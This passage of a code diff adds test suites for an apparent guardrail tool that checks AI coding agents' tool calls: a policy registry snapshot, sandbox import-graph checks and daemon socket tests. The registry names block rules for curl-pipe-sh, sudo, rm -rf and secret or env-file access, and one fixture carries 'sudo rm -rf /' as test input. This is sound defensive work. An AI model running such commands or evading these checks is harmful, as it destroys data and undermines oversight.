"./src/hooks/builtin-policies"; + * console.log(JSON.stringify(BUILTIN_POLICIES.map(p => + * [p.name, p.category, p.defaultEnabled, p.beta ?? null])))' + */ +const REGISTRY_SNAPSHOT: Array<[string, string, boolean, boolean | null]> = [ + ["sanitize-jwt", "Sanitize", true, null], + ["sanitize-api-keys", "Sanitize", true, null], + ["sanitize-connection-strings", "Sanitize", true, null], + ["sanitize-private-key-content", "Sanitize", true, null], + ["sanitize-bearer-tokens", "Sanitize", true, null], + ["protect-env-vars", "Environment", true, null], + ["block-env-files", "Environment", true, null], + ["block-read-outside-cwd", "Environment", false, null], + ["block-sudo", "Dangerous Commands", true, null], + ["block-curl-pipe-sh", "Dangerous Commands", true, null], + ["block-rm-rf", "Dangerous Commands", false, null], + ["block-failproofai-commands", "Dangerous Commands", true, null], + ["block-kubectl", "Infra Commands", false, null], + ["block-terraform", "Infra Commands", false, null], + ["block-aws-cli", "Infra Commands", false, null], + ["block-gcloud", "Infra Commands", false, null], + ["block-az-cli", "Infra Commands", false, null], + ["block-helm", "Infra Commands", false, null], + ["block-gh-pipeline", "Infra Commands", false, null], + ["block-secrets-write", "Dangerous Commands", false, null], + ["block-push-master", "Git", true, null], + ["block-force-push", "Git", false, null], + ["block-work-on-main", "Git", false, null], + ["warn-git-amend", "Git", false, null], + ["warn-git-stash-drop", "Git", false, null], + ["warn-all-files-staged", "Git", false, null], + ["warn-destructive-sql", "Database", false, null], + ["warn-schema-alteration", "Database", false, null], + ["warn-package-publish", "Packages & System", false, null], + ["warn-global-package-install", "Packages & System", false, null], + ["prefer-package-manager", "Packages & System", false, null], + ["warn-large-file-write", "Packages & System", false, null], + ["warn-background-process", "Packages & System", false, null], + ["warn-repeated-tool-calls", "AI Behavior", false, null], + ["require-commit-before-stop", "Workflow", false, null], + ["require-push-before-stop", "Workflow", false, null], + ["require-pr-before-stop", "Workflow", false, null], + ["require-no-conflicts-before-stop", "Workflow", false, null], + ["require-ci-green-before-stop", "Workflow", false, null], +]; + +/** + * The seven policies that genuinely need the host: two spawn `git` / `gh` + * (`block-work-on-main` and, via the branch cache, every Stop gate) and one + * reads and writes a sidecar file next to the transcript. + */ +const HOST_ACCESS_NAMES = [ + "block-work-on-main", + "warn-repeated-tool-calls", + "require-commit-before-stop", + "require-push-before-stop", + "require-pr-before-stop", + "require-no-conflicts-before-stop", + "require-ci-green-before-stop", +]; + +/** + * Modules that take a policy out of the sealed tier. `node:path` is + * deliberately absent: it is pure string arithmetic with no syscall surface, + * and the sealed worker supplies it. Everything here can touch the filesystem, + * spawn a process, open a socket, or read ambient host identity. + */ +const HOST_MODULES = [ + "node:fs", + "node:fs/promises", + "node:child_process", + "node:os", + "node:net", + "node:http", + "node:https", + "node:dgram", + "node:worker_threads", + "node:vm", + "node:process", + "node:cluster", + "node:tls", + "node:dns", + "node:v8", + "node:inspector", + "node:module", + // Bare specifiers, in case an import ever drops the `node:` prefix. + "fs", + "fs/promises", + "child_process", + "os", + "net", + "http", + "https", + "process", +]; + +/** + * Strip comments so prose like "a stray `import { readFile }`" in a doc block + * is not mistaken for a real import — and, more importantly, so a real import + * hidden in a comment is not counted either way. + */ +function stripComments(source: string): string { + return source + .replace(/\/\*[\s\S]*?\*\//g, "") + .replace(/(^|[^:"'`\\])\/\/[^\n]*/g, "$1"); +} + +/** + * Every import specifier in a TS source, from static imports, re-exports, + * dynamic `import()`, and `require()`. + * + * The clause body is matched with `[^;]*?` rather than `[^;\n]*?` on purpose: + * this codebase's imports are routinely multi-line, and a newline-excluding + * character class silently matched none of them — which made an earlier version + * of this whole file pass vacuously while `payload-only.ts` transitively + * imported `node:fs`. A mutation check (inject `node:fs` into `shared.ts`, watch + * the suite fail) is the only thing that catches that; re-run it after touching + * these regexes. + */ +function importSpecifiers(source: string): string[] { + const specs: string[] = []; + // `import ... from "x"` / `export ... from "x"`, single- or multi-line. + const staticRe = /(?:^|[\n;])\s*(?:import|export)\b[^;]*?\bfrom\s*["']([^"']+)["']/g; + // Side-effect import: `import "x"`. + const bareImportRe = /(?:^|[\n;])\s*import\s*["']([^"']+)["']/g; + const dynamicRe = /\bimport\s*\(\s*["']([^"']+)["']\s*\)/g; + const requireRe = /\brequire\s*\(\s*["']([^"']+)["']\s*\)/g; + for (const re of [staticRe, bareImportRe, dynamicRe, requireRe]) { + let m: RegExpExecArray | null; + while ((m = re.exec(source)) !== null) specs.push(m[1]); + } + return specs; +} + +/** Resolve a relative specifier to a real file on disk, or null if it is bare. */ +function resolveRelative(fromFile: string, spec: string): string | null { + if (!spec.startsWith(".")) return null; + const base = resolvePath(dirname(fromFile), spec); + for (const candidate of [base, `${base}.ts`, `${base}.tsx`, `${base}/index.ts`]) { + if (existsSync(candidate) && !candidate.endsWith("/")) { + try { + readFileSync(candidate, "utf8"); + return candidate; + } catch { + /* a directory — keep looking */ + } + } + } + return null; +} + +/** + * Walk the transitive import graph from `entry`, returning every + * `(importer, hostModule)` pair found. Relative imports are followed; bare + * specifiers are recorded but not followed (a bare non-`node:` specifier is a + * third-party package, which is itself disqualifying for the sealed tier and + * is reported by the caller). + */ +function walkGraph(entry: string): { + visited: string[]; + hostHits: Array<{ file: string; spec: string }>; + bareHits: Array<{ file: string; spec: string }>; +} { + const visited = new Set(); + const hostHits: Array<{ file: string; spec: string }> = []; + const bareHits: Array<{ file: string; spec: string }> = []; + const queue = [entry]; + + while (queue.length > 0) { + const file = queue.pop()!; + if (visited.has(file)) continue; + visited.add(file); + + const source = stripComments(readFileSync(file, "utf8")); + // Type-only imports vanish at runtime and cannot pull a host module in, so + // they are exempt — but only when the whole clause is `import type`. + const runtimeSource = source.replace(/(?:^|[\n;])\s*import\s+type\b[^;]*;/g, "\n"); + + for (const spec of importSpecifiers(runtimeSource)) { + if (HOST_MODULES.includes(spec)) { + hostHits.push({ file: file.slice(REPO_ROOT.length + 1), spec }); + continue; + } + const resolved = resolveRelative(file, spec); + if (resolved) { + queue.push(resolved); + } else if (!spec.startsWith("node:")) { + bareHits.push({ file: file.slice(REPO_ROOT.length + 1), spec }); + } + } + } + + return { visited: [...visited].map((f) => f.slice(REPO_ROOT.length + 1)).sort(), hostHits, bareHits }; +} + +describe("BUILTIN_POLICIES registry snapshot", () => { + it("presents the same policies, in the same order, with the same metadata", () => { + const actual = BUILTIN_POLICIES.map((p) => [ + p.name, + p.category, + p.defaultEnabled, + p.beta ?? null, + ]); + expect(actual).toEqual(REGISTRY_SNAPSHOT); + }); + + it("has 39 policies and no duplicate names", () => { + expect(BUILTIN_POLICIES).toHaveLength(39); + const names = BUILTIN_POLICIES.map((p) => p.name); + expect(new Set(names).size).toBe(names.length); + }); +}); + +describe("capability partition", () => { + it("splits every policy into exactly one tier", () => { + const payload = PAYLOAD_ONLY_POLICIES.map((p) => p.name).sort(); + const host = HOST_ACCESS_POLICIES.map((p) => p.name).sort(); + const all = BUILTIN_POLICIES.map((p) => p.name).sort(); + + expect(payload.length + host.length).toBe(all.length); + expect([...payload, ...host].sort()).toEqual(all); + // Disjoint. + expect(payload.filter((n) => host.includes(n))).toEqual([]); + }); + + it("routes exactly the seven host-touching policies to host-access", () => { + expect(HOST_ACCESS_POLICIES.map((p) => p.name).sort()).toEqual([...HOST_ACCESS_NAMES].sort()); + }); + + it("leaves 32 policies sealed-eligible", () => { + // Derived, not hardcoded: if a policy moves tiers this fails alongside the + // explicit list above, which makes the intent of the move obvious. + expect(PAYLOAD_ONLY_POLICIES).toHaveLength(BUILTIN_POLICIES.length - HOST_ACCESS_NAMES.length); + expect(PAYLOAD_ONLY_POLICIES).toHaveLength(32); + }); + + it("keeps every policy function referentially identical to its registry entry", () => { + // The registry must point at the SAME function objects the tier modules + // export — not at wrappers. A wrapper would mean the sealed worker and the + // legacy evaluator run different code for the same policy name. + const byName = new Map(BUILTIN_POLICIES.map((p) => [p.name, p.fn])); + for (const p of [...PAYLOAD_ONLY_POLICIES, ...HOST_ACCESS_POLICIES]) { + expect(byName.get(p.name)).toBe(p.fn); + } + }); +}); + +describe("payload-only import graph", () => { + const entry = resolvePath(REPO_ROOT, "src/hooks/builtin/payload-only.ts"); + const graph = walkGraph(entry); + + it("reaches no host module, transitively", () => { + // If this fails, the sealed tier is silently empty: tier derivation reads + // the resolved import graph, so ONE host import anywhere in this graph + // demotes all 32 policies to user-context. Fix the import — do not relax + // HOST_MODULES. + expect(graph.hostHits).toEqual([]); + }); + + it("reaches no third-party package", () => { + expect(graph.bareHits).toEqual([]); + }); + + it("actually walked the whole graph, not just the entry file", () => { + // The anti-vacuity guard, and it earns its keep: an earlier version of the + // specifier regex used `[^;\n]*?`, which matches single-line imports only. + // Every import in `payload-only.ts` is multi-line, so the walk stopped at + // the entry file and the suite went green while the module transitively + // imported `node:fs`. Naming the expected modules turns "the walk found + // nothing" into a failure instead of a pass. + expect(graph.visited).toEqual([ + "src/hooks/builtin/host-context.ts", + "src/hooks/builtin/payload-only.ts", + "src/hooks/builtin/shared.ts", + "src/hooks/builtin/warn.ts", + "src/hooks/policy-helpers.ts", + ]); + }); +}); + +describe("host-access import graph", () => { + const entry = resolvePath(REPO_ROOT, "src/hooks/builtin/host-access.ts"); + const graph = walkGraph(entry); + + it("does reach a host module — otherwise the split is mislabelled", () => { + // The inverse assertion. If host-access stops needing the host, the seven + // policies belong in the sealed tier and this test should be updated + // deliberately rather than the partition quietly becoming meaningless. + expect(graph.hostHits.length).toBeGreaterThan(0); + expect(graph.hostHits.map((h) => h.spec)).toContain("node:child_process"); + }); +}); diff --git a/__tests__/hooks/custom-hook-timer.test.ts b/__tests__/hooks/custom-hook-timer.test.ts new file mode 100644 index 00000000..c5e68300 --- /dev/null +++ b/__tests__/hooks/custom-hook-timer.test.ts @@ -0,0 +1,150 @@ +/** + * A custom hook that returns must not leave a timer pending. + * + * `handler.ts` races every custom hook against a 10-second timeout. The timeout + * handle was never cleared, so a hook that simply returned left a pending timer + * — and a pending timer keeps Node's event loop alive. + * + * Today that is masked: `bin/failproofai.mjs` calls `process.exit()` the moment + * `handleHookEvent` returns, which takes the timer with it. It stops being + * masked the moment anything evaluates in a process that outlives one event — + * the resident sealed worker, the daemon itself, or a bench harness. It was + * found by one: a harness that re-enacted the handler's call sequence without + * the hard exit measured a 10,088 ms p95 for hooks that had already decided in + * under a millisecond. + * + * Asserting on the fix rather than reading it, because "we cleared the timer" + * is exactly the kind of claim that silently stops being true. Fake timers make + * the pending-timer count directly observable, so the test fails on a + * regression instead of on a wall-clock heuristic that would be flaky. + */ +import { describe, it, expect, vi, afterEach } from "vitest"; +import { clearPolicies, registerPolicy, getPoliciesForEvent } from "../../src/hooks/policy-registry"; +import type { PolicyContext, PolicyResult } from "../../src/hooks/policy-types"; + +/** + * The exact race `handler.ts` wraps every custom hook in, extracted so the + * property can be tested without spawning a hook process. + * + * Kept deliberately in sync with the original by shape rather than by import: + * the wrapper is built inside `handleHookEvent`'s closure over `hook`, + * `prefix`, and `hookName`, so there is nothing exported to call. The + * `handler.test.ts` suite covers the wrapper's behaviour end to end; this + * covers the resource it holds. + */ +function wrapWithTimeout( + fn: (ctx: PolicyContext) => PolicyResult | Promise, +): (ctx: PolicyContext) => Promise { + return async (ctx) => { + let timer: ReturnType | undefined; + try { + return await Promise.race([ + fn(ctx), + new Promise((_, reject) => { + timer = setTimeout(() => reject(new Error("timeout")), 10_000); + }), + ]); + } catch { + return { decision: "allow" }; + } finally { + if (timer !== undefined) clearTimeout(timer); + } + }; +} + +const ctx = { eventType: "PreToolUse", payload: {} } as PolicyContext; + +afterEach(() => { + vi.useRealTimers(); + clearPolicies(); +}); + +describe("custom hook timeout race", () => { + it("leaves no pending timer after a hook returns", async () => { + vi.useFakeTimers(); + const wrapped = wrapWithTimeout(() => ({ decision: "allow" })); + + await wrapped(ctx); + + expect( + vi.getTimerCount(), + "a returned hook left its 10s timeout armed; the process would stay alive", + ).toBe(0); + }); + + it("leaves no pending timer after a hook throws", async () => { + vi.useFakeTimers(); + const wrapped = wrapWithTimeout(() => { + throw new Error("boom"); + }); + + const result = await wrapped(ctx); + + expect(result.decision).toBe("allow"); // a crashing hook fails open, as before + expect(vi.getTimerCount()).toBe(0); + }); + + it("leaves no pending timer after a hook is asynchronous but prompt", async () => { + vi.useFakeTimers(); + const wrapped = wrapWithTimeout(async () => { + await Promise.resolve(); + return { decision: "deny", reason: "no" } as PolicyResult; + }); + + const result = await wrapped(ctx); + + expect(result.decision).toBe("deny"); + expect(vi.getTimerCount()).toBe(0); + }); + + it("still times out a hook that never settles, and clears up afterwards", async () => { + vi.useFakeTimers(); + // Never resolves. Without the timeout the handler would hang forever. + const wrapped = wrapWithTimeout(() => new Promise(() => {})); + + const pending = wrapped(ctx); + expect(vi.getTimerCount()).toBe(1); // armed while the hook is in flight + + await vi.advanceTimersByTimeAsync(10_000); + const result = await pending; + + // The timeout is caught and converted to a fail-open allow, unchanged. + expect(result.decision).toBe("allow"); + expect(vi.getTimerCount()).toBe(0); + }); + + it("does not fire the timeout for a hook that beats it", async () => { + vi.useFakeTimers(); + const wrapped = wrapWithTimeout(() => ({ decision: "deny", reason: "fast" })); + + const result = await wrapped(ctx); + // Advancing past the old deadline must not resurrect a rejection. + await vi.advanceTimersByTimeAsync(20_000); + + expect(result.decision).toBe("deny"); + expect(result.reason).toBe("fast"); + expect(vi.getTimerCount()).toBe(0); + }); + + it("clears one timer per hook when several run for the same event", async () => { + vi.useFakeTimers(); + for (let i = 0; i < 5; i++) { + registerPolicy( + `custom/hook-${i}`, + "", + wrapWithTimeout(() => ({ decision: "allow" })), + { events: ["PreToolUse"] }, + -1, + ); + } + + for (const policy of getPoliciesForEvent("PreToolUse", undefined)) { + await policy.fn(ctx); + } + + expect( + vi.getTimerCount(), + "each hook must clean up after itself; five hooks left five timers", + ).toBe(0); + }); +}); diff --git a/__tests__/hooks/daemon-client.test.ts b/__tests__/hooks/daemon-client.test.ts new file mode 100644 index 00000000..f9bda24e --- /dev/null +++ b/__tests__/hooks/daemon-client.test.ts @@ -0,0 +1,884 @@ +// @vitest-environment node +/** + * `src/hooks/daemon-client.ts` — driven against a REAL Unix socket server. + * + * There is no mock of `node:net` here on purpose. The failure mode this client + * guards against is silent: a client that throws or hangs breaks every hook on + * the machine, and a client that returns a wrong answer is worse than either. + * A mocked socket would happily prove properties of the mock. So every case + * below stands up an actual `net.Server`, speaks the actual framing from + * `crates/PROTOCOL.md`, and asserts on the bytes that crossed the wire. + * + * The framing helpers are written out again rather than imported from the + * client, so a bug in the client's framing cannot cancel itself out. + */ +import { describe, it, expect, beforeEach, afterEach, vi } from "vitest"; +import net from "node:net"; +import { mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { tryDaemonEvaluate } from "../../src/hooks/daemon-client"; +import { buildLocalEnvelope, ENV_FACT_KEYS } from "../../src/hooks/request-envelope"; +import type { EvaluationRequest } from "../../src/hooks/request-envelope"; + +// ── handler-level mocks (used only by the last describe block) ───────────── +// Hoisted file-wide by vitest. None of them is reachable from daemon-client.ts, +// which imports `EvaluationResult` from policy-evaluator as a *type* only. +// Every one spreads the real module first. A factory that returns only the +// exports this file names *replaces* the module — every other export becomes +// undefined for anything that resolves it while this mock is registered. +// +// That is not theoretical. The first version of this file stubbed +// `hooks-config` with `readMergedHooksConfig` alone, which deleted its other +// nine exports including `syncConventionPolicies`. Locally nothing noticed; +// in CI, where the worker-to-file grouping differs with the core count, four +// unrelated convention-policy suites failed with +// `No "syncConventionPolicies" export is defined on the mock`. The bug was in +// this file and the symptom was in theirs — which is the expensive kind. +// +// Spreading costs nothing and makes a partial mock actually partial. +vi.mock("../../src/hooks/hooks-config", async (importOriginal) => ({ + ...(await importOriginal()), + readMergedHooksConfig: vi.fn(() => ({ enabledPolicies: ["block-sudo"] })), +})); +vi.mock("../../src/hooks/builtin-policies", async (importOriginal) => ({ + ...(await importOriginal()), + registerBuiltinPolicies: vi.fn(), +})); +vi.mock("../../src/hooks/policy-evaluator", async (importOriginal) => ({ + ...(await importOriginal()), + evaluatePolicies: vi.fn(), +})); +vi.mock("../../src/hooks/policy-registry", async (importOriginal) => ({ + ...(await importOriginal()), + clearPolicies: vi.fn(), + registerPolicy: vi.fn(), + getPoliciesForEvent: vi.fn(() => []), +})); +vi.mock("../../src/hooks/custom-hooks-loader", async (importOriginal) => ({ + ...(await importOriginal()), + loadAllCustomHooks: vi.fn(() => Promise.resolve({ hooks: [], conventionSources: [] })), +})); +vi.mock("../../src/hooks/hook-activity-store", async (importOriginal) => ({ + ...(await importOriginal()), + persistHookActivity: vi.fn(), +})); +vi.mock("../../src/hooks/hook-telemetry", async (importOriginal) => ({ + ...(await importOriginal()), + trackHookEvent: vi.fn(() => Promise.resolve()), + flushHookTelemetry: vi.fn(() => Promise.resolve()), +})); +vi.mock("../../lib/telemetry-id", async (importOriginal) => ({ + ...(await importOriginal()), + getInstanceId: vi.fn(() => "test-instance-id"), +})); +vi.mock("../../src/hooks/hook-logger", async (importOriginal) => ({ + ...(await importOriginal()), + hookLogInfo: vi.fn(), + hookLogWarn: vi.fn(), + hookLogError: vi.fn(), +})); + +// ── framing, transcribed from PROTOCOL.md ────────────────────────────────── + +function frame(body: unknown): Buffer { + const json = Buffer.from(JSON.stringify(body), "utf8"); + const header = Buffer.alloc(4); + header.writeUInt32BE(json.length, 0); + return Buffer.concat([header, json]); +} + +/** A header declaring `length` with no body — for the framing-error cases. */ +function header(length: number): Buffer { + const buf = Buffer.alloc(4); + buf.writeUInt32BE(length, 0); + return buf; +} + +/** + * A non-empty resolved enabled set, as every real caller now supplies. + * + * `tryDaemonEvaluate` refuses an empty set before opening a socket: the daemon + * rejects it (there is nothing to evaluate, and backfilling its own defaults + * would enforce a set the user never configured), and a caller that forgot to + * pass one would otherwise get a confident `allow` built from evaluating + * nothing. These tests are about transport and framing rather than policy, so + * the contents do not matter — only that it is non-empty and real. + */ +const ENABLED = ["block-sudo", "block-env-files"] as const; + +const HELLO_ACK = { + hello_ack: { protocol_version: 1, daemon_version: "0.0.16-beta.0", generation_id: "gen-abc" }, +}; + +/** The `evaluated` payload PROTOCOL.md documents, minus `request_id`. */ +function evaluatedResult(overrides: Record = {}): Record { + return { + decision_id: "dec-1", + generation_id: "gen-abc", + exit_code: 0, + stdout: '{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"deny"}}', + stderr: "", + decision: "deny", + policy_name: "failproofai/block-sudo", + policy_names: null, + reason: "sudo commands are blocked", + attestation: "sealed", + matched_policies: ["failproofai/block-sudo"], + needs_user_context: [], + ...overrides, + }; +} + +// ── test server ──────────────────────────────────────────────────────────── + +interface TestServer { + readonly path: string; + /** How many times a client connected. Zero proves the path is dead code. */ + connections: number; + /** Every frame body the server decoded off the wire, in order. */ + received: Record[]; + /** How many peers hung up — proves the client destroys its socket. */ + disconnects: number; + close(): Promise; +} + +type ConnectionHandler = (socket: net.Socket, state: TestServer) => void; + +async function startServer(dir: string, onConnection: ConnectionHandler): Promise { + const path = join(dir, "d.sock"); + const server = net.createServer(); + + const state: TestServer = { + path, + connections: 0, + received: [], + disconnects: 0, + close: () => + new Promise((resolve) => { + server.close(() => resolve()); + }), + }; + + server.on("connection", (socket) => { + state.connections += 1; + let buffered = Buffer.alloc(0); + socket.on("data", (chunk: Buffer) => { + buffered = Buffer.concat([buffered, chunk]); + for (;;) { + if (buffered.length < 4) return; + const len = buffered.readUInt32BE(0); + if (buffered.length < 4 + len) return; + const body = buffered.subarray(4, 4 + len).toString("utf8"); + buffered = buffered.subarray(4 + len); + state.received.push(JSON.parse(body) as Record); + } + }); + socket.on("close", () => { + state.disconnects += 1; + }); + socket.on("error", () => { + /* client hangups are expected in several cases */ + }); + onConnection(socket, state); + }); + + await new Promise((resolve) => server.listen(path, () => resolve())); + return state; +} + +/** The standard daemon: ack the handshake, then answer the evaluate frame. */ +function respondWith(evaluated: Record): ConnectionHandler { + return (socket, state) => { + socket.on("data", () => { + // `state.received` is appended by the server's own decoder above, which + // runs on the same 'data' event registered first, so it is already + // populated by the time this listener sees the chunk. + const last = state.received[state.received.length - 1]; + if (!last) return; + if ("hello" in last) { + socket.write(frame(HELLO_ACK)); + return; + } + if ("op" in last) { + socket.write(frame({ request_id: last.request_id, result: { evaluated } })); + } + }); + }; +} + +// ── fixtures ─────────────────────────────────────────────────────────────── + +function makeRequest(): EvaluationRequest { + return buildLocalEnvelope({ + cli: "claude", + eventType: "PreToolUse", + rawEventType: "PreToolUse", + payload: { tool_name: "Bash", tool_input: { command: "sudo rm -rf /" } }, + cwd: "/home/u/project", + sessionId: "sess-1", + transcriptPath: "/home/u/.claude/projects/x/sess-1.jsonl", + permissionMode: "default", + hookEventName: "PreToolUse", + // A real home — the client must still send `null`. + host: { home: "/home/u", envFacts: { CLAUDE_PROJECT_DIR: "/home/u/project" } }, + }); +} + +const ENV_KEYS = [ + "FAILPROOFAI_DAEMON_MODE", + "FAILPROOFAI_DAEMON_SOCKET", + "FAILPROOFAI_INSTALL_JSON", +] as const; + +describe("hooks/daemon-client", () => { + let dir: string; + let servers: TestServer[]; + let savedEnv: Record; + + beforeEach(() => { + dir = mkdtempSync(join(tmpdir(), "fpai-daemon-")); + servers = []; + savedEnv = {}; + for (const key of ENV_KEYS) { + savedEnv[key] = process.env[key]; + delete process.env[key]; + } + }); + + afterEach(async () => { + for (const server of servers) await server.close(); + for (const key of ENV_KEYS) { + if (savedEnv[key] === undefined) delete process.env[key]; + else process.env[key] = savedEnv[key]; + } + rmSync(dir, { recursive: true, force: true }); + vi.restoreAllMocks(); + }); + + /** Point the client at a live server and a matching, readable install.json. */ + async function serve(handler: ConnectionHandler): Promise { + const server = await startServer(dir, handler); + servers.push(server); + process.env.FAILPROOFAI_DAEMON_SOCKET = server.path; + writeInstallJson(process.getuid?.() ?? 0); + return server; + } + + function writeInstallJson(serviceUid: number): string { + const path = join(dir, "install.json"); + writeFileSync(path, JSON.stringify({ service_uid: serviceUid }), "utf8"); + process.env.FAILPROOFAI_INSTALL_JSON = path; + return path; + } + + // ── the kill switch ────────────────────────────────────────────────────── + + describe("FAILPROOFAI_DAEMON_MODE (dead code by default)", () => { + it("returns null with the mode unset AND never connects", async () => { + const server = await serve(respondWith(evaluatedResult())); + delete process.env.FAILPROOFAI_DAEMON_MODE; + + expect(await tryDaemonEvaluate(makeRequest(), 500, ENABLED)).toBeNull(); + + // The point of the assertion: not "null was returned", but "the socket + // was never opened". Returning null *after* connecting would still be a + // per-hook-event syscall on every machine that has a daemon installed. + expect(server.connections).toBe(0); + }); + + it("returns null with mode=off AND never connects", async () => { + const server = await serve(respondWith(evaluatedResult())); + process.env.FAILPROOFAI_DAEMON_MODE = "off"; + + expect(await tryDaemonEvaluate(makeRequest(), 500, ENABLED)).toBeNull(); + expect(server.connections).toBe(0); + }); + + it("treats mode=shadow as off until Stage 2 lands the differ", async () => { + const server = await serve(respondWith(evaluatedResult())); + process.env.FAILPROOFAI_DAEMON_MODE = "shadow"; + + expect(await tryDaemonEvaluate(makeRequest(), 500, ENABLED)).toBeNull(); + expect(server.connections).toBe(0); + }); + + it("treats an unrecognized mode as off (never more permissive)", async () => { + const server = await serve(respondWith(evaluatedResult())); + process.env.FAILPROOFAI_DAEMON_MODE = "ENFORCE"; // wrong case, not a mode + + expect(await tryDaemonEvaluate(makeRequest(), 500, ENABLED)).toBeNull(); + expect(server.connections).toBe(0); + }); + }); + + // ── the happy path ─────────────────────────────────────────────────────── + + describe("mode=enforce", () => { + beforeEach(() => { + process.env.FAILPROOFAI_DAEMON_MODE = "enforce"; + }); + + it("returns the daemon's EvaluationResult exactly", async () => { + await serve(respondWith(evaluatedResult())); + + const result = await tryDaemonEvaluate(makeRequest(), 1000, ENABLED); + + // Byte-for-byte the fields `EvaluationResult` already has. `policy_names` + // was null, so `policyNames` is absent rather than present-and-undefined. + expect(result).toEqual({ + exitCode: 0, + stdout: '{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"deny"}}', + stderr: "", + policyName: "failproofai/block-sudo", + reason: "sudo commands are blocked", + decision: "deny", + }); + expect(Object.keys(result!).sort()).toEqual( + ["decision", "exitCode", "policyName", "reason", "stderr", "stdout"], + ); + }); + + it("carries policy_names through when the verdict names several policies", async () => { + await serve( + respondWith( + evaluatedResult({ + decision: "instruct", + policy_name: "failproofai/a", + policy_names: ["failproofai/a", "failproofai/b"], + }), + ), + ); + + const result = await tryDaemonEvaluate(makeRequest(), 1000, ENABLED); + + expect(result?.policyNames).toEqual(["failproofai/a", "failproofai/b"]); + expect(result?.decision).toBe("instruct"); + }); + + // ── the request bytes ────────────────────────────────────────────────── + + it("sends host.home as null even though the envelope carries a real home", async () => { + const server = await serve(respondWith(evaluatedResult())); + + await tryDaemonEvaluate(makeRequest(), 1000, ENABLED); + + const op = server.received[1].op as { evaluate_hook: Record }; + const host = op.evaluate_hook.host as Record; + // A non-null home is `client_asserted_home` and the request is REJECTED, + // because isAgentInternalPath and block-read-outside-cwd both widen the + // allow set — a client asserting `home: "/"` would relax a sealed verdict. + expect(host.home).toBeNull(); + expect("home" in host).toBe(true); // present-and-null, not omitted + }); + + it("sends env_facts containing only keys from the closed set", async () => { + const server = await serve(respondWith(evaluatedResult())); + const request = makeRequest(); + + await tryDaemonEvaluate(request, 1000, ENABLED); + + const op = server.received[1].op as { evaluate_hook: Record }; + const host = op.evaluate_hook.host as Record; + const envFacts = host.env_facts as Record; + // The hook client's environment originates in the agent's process and is + // therefore under the agent's control; the daemon rejects unknown keys + // rather than passing them through, so an extra key here is an outage. + expect(Object.keys(envFacts).sort()).toEqual([...ENV_FACT_KEYS].sort()); + expect(envFacts.CLAUDE_PROJECT_DIR).toBe("/home/u/project"); + }); + + it("sends the canonicalized payload and session verbatim, plus a positive deadline", async () => { + const server = await serve(respondWith(evaluatedResult())); + + await tryDaemonEvaluate(makeRequest(), 1000, ENABLED); + + expect(server.received[0]).toEqual({ + hello: { + protocol_version: 1, + client: "failproofai-hook", + client_version: expect.any(String), + }, + }); + const request = server.received[1]; + expect(typeof request.request_id).toBe("string"); + const evaluateHook = (request.op as { evaluate_hook: Record }).evaluate_hook; + expect(evaluateHook.cli).toBe("claude"); + expect(evaluateHook.event_type).toBe("PreToolUse"); + expect(evaluateHook.raw_event_type).toBe("PreToolUse"); + expect(evaluateHook.payload).toEqual({ + tool_name: "Bash", + tool_input: { command: "sudo rm -rf /" }, + }); + expect(evaluateHook.session).toEqual({ + session_id: "sess-1", + transcript_path: "/home/u/.claude/projects/x/sess-1.jsonl", + permission_mode: "default", + hook_event_name: "PreToolUse", + }); + expect(evaluateHook.shadow).toBe(false); + // The REMAINING budget, so strictly less than what we started with. + expect(evaluateHook.deadline_ms).toBeGreaterThan(0); + expect(evaluateHook.deadline_ms as number).toBeLessThanOrEqual(1000); + }); + + it("echoes the response only when request_id matches", async () => { + await serve((socket, state) => { + socket.on("data", () => { + const last = state.received[state.received.length - 1]; + if (!last) return; + if ("hello" in last) socket.write(frame(HELLO_ACK)); + else socket.write(frame({ request_id: "some-other-id", result: { evaluated: evaluatedResult() } })); + }); + }); + + expect(await tryDaemonEvaluate(makeRequest(), 1000, ENABLED)).toBeNull(); + }); + + // ── failure modes: every one of them falls back ──────────────────────── + + it("returns null when the socket path does not exist", async () => { + writeInstallJson(process.getuid?.() ?? 0); + process.env.FAILPROOFAI_DAEMON_SOCKET = join(dir, "absent.sock"); + + expect(await tryDaemonEvaluate(makeRequest(), 500, ENABLED)).toBeNull(); + }); + + it("returns null when the connection is refused (path is not a live socket)", async () => { + const path = join(dir, "not-a-socket"); + writeFileSync(path, "", "utf8"); + writeInstallJson(process.getuid?.() ?? 0); + process.env.FAILPROOFAI_DAEMON_SOCKET = path; + + expect(await tryDaemonEvaluate(makeRequest(), 500, ENABLED)).toBeNull(); + }); + + it("returns null when the server closes immediately after accepting", async () => { + const server = await serve((socket) => socket.destroy()); + + expect(await tryDaemonEvaluate(makeRequest(), 500, ENABLED)).toBeNull(); + expect(server.connections).toBe(1); + }); + + it("returns null on version_mismatch AND does not send an EvaluateHook frame", async () => { + const server = await serve((socket) => { + socket.write(frame({ version_mismatch: { supported: [1], received: 2 } })); + }); + + expect(await tryDaemonEvaluate(makeRequest(), 500, ENABLED)).toBeNull(); + + // Never guess, never retry with a different version, never fail the hook + // — and above all never submit the event to a daemon whose contract we do + // not share. Only the hello frame was ever written. + await vi.waitFor(() => expect(server.disconnects).toBe(1)); + expect(server.received).toHaveLength(1); + expect(Object.keys(server.received[0])).toEqual(["hello"]); + }); + + it("returns null on a hello_ack declaring a different protocol version", async () => { + const server = await serve((socket) => { + socket.write(frame({ hello_ack: { protocol_version: 2, daemon_version: "9.9.9" } })); + }); + + expect(await tryDaemonEvaluate(makeRequest(), 500, ENABLED)).toBeNull(); + await vi.waitFor(() => expect(server.received).toHaveLength(1)); + }); + + it("returns null within the deadline and destroys the socket when the daemon never responds", async () => { + // The hang case: accept, ack nothing, write nothing, hold the connection. + const server = await serve(() => { + /* deliberately silent */ + }); + + const startedAt = performance.now(); + const result = await tryDaemonEvaluate(makeRequest(), 200, ENABLED); + const elapsed = performance.now() - startedAt; + + expect(result).toBeNull(); + expect(elapsed).toBeGreaterThanOrEqual(150); + expect(elapsed).toBeLessThan(2000); + // The socket must be destroyed on the timeout path too, or a hung daemon + // leaks one handle per hook event for the life of the process. + await vi.waitFor(() => expect(server.disconnects).toBe(1)); + }); + + it("returns null without allocating when a frame declares a length above 1 MiB", async () => { + const server = await serve((socket) => { + socket.on("data", () => { + // 2 MiB declared, zero bytes of body delivered. A client that trusted + // the header would allocate 2 MiB and then block until the deadline. + socket.write(header(2 * 1024 * 1024)); + 